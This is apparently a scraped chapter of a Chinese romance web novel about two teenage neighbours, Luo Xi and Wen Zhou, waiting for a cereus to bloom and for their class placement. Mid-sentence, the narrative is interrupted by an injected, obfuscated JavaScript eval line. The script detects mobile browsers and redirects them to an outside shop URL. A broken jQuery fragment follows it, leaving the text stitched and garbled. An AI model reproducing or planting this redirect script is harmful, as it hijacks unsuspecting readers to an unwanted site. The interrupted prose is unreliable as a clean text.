“说了教你游泳能长高,是你自己不学……”
闻洲侧过脑袋,方便洛晞上手,他说得太理所当然,招来洛晞更重的动作。
“啊……好好好,都怪我长得太高了行了吧,你轻点。”
他只好把背弓得再弯一些,从侧面看,像一只煮熟的大甜虾,虾头红红的。
洛晞把手收回,欣赏了一下自己的杰作,拍拍闻洲的肩,允他恢复正常,“耳朵好像挺严重的,你确定你能参加比赛?”
闻洲晃了晃头,确定是独属于酒精的痛感,“嘶”了一声:“这算什么,我不仅参加,我还能拿第一你信不信。”
哗啦啦,窗外雨声又加重了,洛晞把药箱收起来,唇角不自觉地抿成一条线。她刚要说什么,却又忽然想起面前这个人已经通过江城青少年大赛的奖牌成功从华中初中部直升,不用回来考试了。
“那我走了,你答应给我带书别忘了。”
闻洲紧随她后站起身,把她送到家门口:“哎,”他捂了捂刚刚耳浴过的那一侧,叫住洛晞,“什么时候中考来着?”
“我忘了。”
他双眼笑着眯成了一条线,满脸不好意思,洛晞看得却格外扎眼,她有点赌气地说:“跟你有什么关系啊。”
“有关系啊,你不是还要考吗。”
几句话在门前的积水处荡出一片涟漪,洛晞忍不住回头,语气有些结巴:“我?我怎么了……”
“当然是我们的赌约了,洛晞,你可不能耍赖,没考进实验班,我一暑假的零食你都包了。”
“……”
“吃死你算了。”
闻洲每天早晚要各称一遍体重,他直觉,赶在中考前特意改签回江城参加中考这事,说出来会多给心脏增加点分量。在上叠连续两天没什么动静后,第三天晚上他忍不住了,跑上楼“咚咚咚”连续叩了几声。
“干嘛?”
“呃,你考得怎么样……别别别,别关门。”闻洲迈出一脚抵在门框上,摆了摆手,“我真有事。”
无奈他刚落地就拿上书包去考试了,能有什么正事让洛晞不生气地把门关上。他想了一圈,看见楼下院里的草一个个要迸出栅栏了,忙说:“今晚昙花要开了,你下不下来看?”
“真的假的?”
洛晞语气里满是狐疑。
“当然是真的,你每天在楼下背书看不到吗?”
“你怎么知道我每天在楼下背书?”
闻洲自从正式被选入青队后,晚间要加训两小时,回家时,正好赶上洛晞已经吃完了晚饭,抱着书在院子外面来来回回地踱步,时不时还念念有词。正是茉莉开的季节,洛晞背书时手上总忍不住要动弹两下,风一吹,传得远远就能闻到。
嗅到花香,见到洛晞。
“来不来看嘛,你也知道这盆花我妈照顾了很久,而且昙花开得很快,要亲眼盯着才行……”
“你话好多,谁不知道昙花开得很快。”洛晞揉了揉眼,连续熬夜学习的劲睡了两天好像缓过来了,她点头答应,“好吧,吃完晚饭我下去。”
“你直接来我家吃饭就行了,”闻洲边下楼边喊,“我让我妈做你最爱吃的菜。”
闻萧然下班时,院里已经坐满了人,都是听说昙花要看来凑热闹的。闻洲从人挤人中揪出洛晞的手,低头凑近,“喂,他们怎么知道的?”
“我告诉我爸,我爸知道了,医院里的人就都知道了。”
洛承家隔着人群冲闻洲打了个招呼,他干笑着回了,手心上的汗却擦不干。
“你紧张什么?”洛晞觉得奇怪。
闻洲不自觉地抬高了声音,摇头:“我没紧张啊,我看起来很紧张吗?”
“嗯。”
洛晞重重点头,她手里还捧着闻洲从外地参加比赛给她带回来的书,没搭理他太久就重新低头看书了。
观昙花这事需要太多耐心,不到一小时院里的人已经走了大半,剩下的也多是本就和洛、闻两家关系不错,留在院里全当晚间消暑了。洛晞舀了口冰淇淋,匆匆流过的闲聊声得了空子终于钻进了耳朵。
不知是谁提到孩子教育,逮着闻洲一阵赞叹,末了,突然想起角落里还有一人,那人尴尬地笑了几声:“洛晞也是,长得这么漂亮,将来留在江城读书,毕了业结婚,你爸爸也算熬出头了。”
“啪——”
厚厚的原文书被重重地合上,洛晞坐直身体,扬了扬下巴,“阿姨,我不会留在江城读书。”
“我会考京大的。”
原本对闻洲的奉承,也是说他有游泳特长的加持,相当于一只脚迈进了江城最好的大学江大,没想到洛晞的志向更远大,衬得那人的话像是故意找茬,闻萧然闭嘴不言,静静地盯着那人解释。
“扑哧,”闻洲忍不住笑出了声,他吃得很快,冰淇淋很快就见底,“你可真牛,这人托我爸办事已经烦了我们家很久了,这下被怼了,肯定不好意思再来了。你太会气人了,佩服佩服。”
“我没在气她,我说的是真的。”洛晞垂着眼,又舀了一口送进嘴里,重新找出她刚才被打断的地方。
闻洲张了张口没说出话,好在,没人看得见。
时间来到十点半,院子里人几乎都走光了,闻萧然已经隐隐约约觉得,被闻洲诓骗了,她什么也没说,只一遍遍地给仍然在等的洛家父女换了切好的水果。
瓜果花香,正是蚊虫好去处。洛晞几次快要睡着,又被翅膀震震声吵醒,在一旁不住地点头。
“听说闻洲这个暑假比赛都排满了,赶得及开学吗?”
闻萧然也搬了个板凳,坐在离洛承家有些距离的位置,她拿了把扇子,在蚊虫围过来前先把它们赶跑:“应该来得及吧,平时都是他爸管他这些事,随他吧。来,吃水果。”
“你们两个也过来吃啊,别黑着灯看书。”
闻洲胡乱地答应着,用胳膊碰了碰洛晞,她摇了摇头,趴在腿上。
“你说,你有把握考进实验班吗?”
“真烦,你怎么比老师还烦。”
一提到中考成绩,洛晞瞬间醒了过来,她瞪大双眼望向闻洲,黑而纯的瞳仁即使在月光下也格外明显
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775549|209341||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
闻洲一脸无辜地回望回去,洛晞也搞不懂,他领着双份零花钱,何必惦记她这一个暑假的零食。她在对望中先泄了气,考试的那天雨下得太大,她从一开始状态就很不好。
“我也不知道,听说,华中的班级是不流动的。”
洛晞把下巴托在手里,愁容满面。
“哎呀,考不进就考不进呗,你让我考我也不一定能考进。”
这句话没怎么奏效,反而招来了洛晞的一个巨大白眼,“站着说话不腰疼,直升不都进实验班吗?要不你跟我换换。”
“换就换,有什么不行的。不对,不能换。”
洛晞露出一个“果然如此”的眼神,不和他讲话了。
“不是,洛晞,我不是这个意思。我是说……算了。”
他嘟囔了几句,被洛晞翻手躲开,什么都没听见。
“总之,我相信你肯定能考进去。”
分班结果出来时,闻洲正在外地比赛,他没能履约请洛晞吃一个暑假的零食,但在那个看昙花的晚上,他想好了,练游泳在平行班也能练。
“洛晞,咱们上楼了,太晚了。”
洛承家抱住已经昏昏欲睡的女儿,和闻萧然告了别,这倒是完全不到他熬夜的极限,但洛晞已经睁不开眼,倒在了闻洲的肩膀上。闻洲帮着使了把力,洛承家怀里的人哼唧了几声。
“阿姨,你别打闻洲,是我要看昙花的……”
“叔叔,她说什么?”
“没听清,好像是说第一大洲。”洛承家顺便捡起洛晞掉落的地理杂志。
开学那天,洛晞打开手机又看了眼信息,她发出去的胜利宣告还没有回应,不过她不在乎,华中的蓝白裙太好看,她穿上正合适。
洛承家工作太忙,提前带她走了一遍上学的路,还是不放心地在电话里确认了好几遍,有没有走错。
洛晞转学过来的时间太巧,刚好赶不及华中初中部的报名,因此虽然在这附近住了好几年,但还是第一次走去华中的这条路。她的书包、鞋子、手机,全都是新换的,连董悦都特意飞回来和她一起庆祝。
“爸,你别担心了,哪有那么多坏人。”
电话那边洛承家还在喋喋不休,她无奈把手机拉远了些。
“我听说华中晚上有自愿的晚自习,你跟老师讲一下我们报名,这样我晚上可以去接你。最近外面很多抢劫的,新闻上都说了……”
话音未落,洛承家那边被“嘟”声打断,洛晞手空悬在耳边,愣了一下。青天白日,真的有抢劫的。
她拔腿就跑,那个抢了她手机的家伙总是保持在差一下就能追上的距离,又在她每次伸手的时候再加足马力。一个拐弯过后,人消失不见,洛晞气喘吁吁地停在路边,抬头,是华中的分班大榜。
【高一(一)班】
(21)洛晞(22)闻洲
“考得不错啊。”
大盗穿着和她相似款的蓝白衫,伸出食指,在两个名字中间划了道线。
“同学,你知道高一(一)班怎么走吗。”